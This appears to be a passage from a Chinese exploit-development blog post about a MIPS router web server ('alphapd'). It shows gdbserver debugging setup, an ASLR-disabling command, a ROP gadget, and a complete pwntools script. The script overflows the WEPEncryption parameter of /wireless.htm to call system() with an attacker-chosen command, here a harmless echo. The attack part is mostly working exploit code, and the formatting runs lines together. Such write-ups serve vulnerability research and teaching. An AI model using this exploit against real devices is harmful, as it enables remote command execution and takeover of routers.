mount -o bind /dev/ ./dev/mount -t proc /proc/ ./proc

killall -q alphapdsleep 1alphapd &

./gdbserver-mipsel :23946 ./bin/alphapd

关闭aslr：echo 0 > /proc/sys/kernel/randomize_va_space./gdbserver-mipsel :23946 --attach alphapdPID

set arch mipsset endian littletarget remote 192.168.50.214:40496

> cyclic -l 0x6161616b40

.text:0004A604                 addiu   $s2, $sp, 0x1E8+var_F8.text:0004A608                 move    $a0, $s2.text:0004A60C                 move    $t9, $s0.text:0004A610                 jalr    $t9 ; sub_49DF0

import socketfrom pwn import *context.log_level = 'debug'context.arch = "mips" Libc_Addr = 0x77eda000system_Addr = 0x0045080 cmd = "echo${IFS}'Pwn!'" gadget = 0x004A608payload = cyclic(16).upper()payload += p32(Libc_Addr+system_Addr) # S0# p -> 0x77F24604payload += 'BBBB' # S1payload += p32(0x7fffe2a8) # S2payload += 'DDDD' # S3payload += 'EEEE'payload += 'FFFF'payload += p32(Libc_Addr+gadget) # PCpayload += 'HHHH'payload += cmd if __name__ == '__main__':    #key = "Content-Type:text/html;charset:utf-8\r\n"    RHOST = '127.0.0.1'    RPORT = 40080    request = ""    request+= "GET /wireless.htm?WEPEncryption={} HTTP/1.1\r\n".format(payload)    request+= "Host: {}:{}\r\n".format(RHOST,str(RPORT))    request+= "User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0"    request+= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"    request+= "Accept-Language: en-US,en;q=0.5"    request+= "Accept-Encoding: gzip, deflate"    request+= "Connection: close"    request+= "Upgrade-Insecure-Requests: 1"    request+= "\r\n\r\n"     s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)    s.connect((RHOST,RPORT))    s.send(request)    print(request)    # msg = s.recv(1024)    s.close()    # print msg

# 往期推荐

1.内核漏洞学习-HEVD-UninitializedStackVariable

2.记录一次vmp2.xdemo的分析

3.内核漏洞学习-HEVD-NullPointerDereference

4.Golang版本简易fuzzer及debugger实践

5.Windows内核逆向——<中断处理 从硬件机制到用户驱动接管>

6.Chrome v8 issue 1234770( CVE-2021-30599)漏洞分析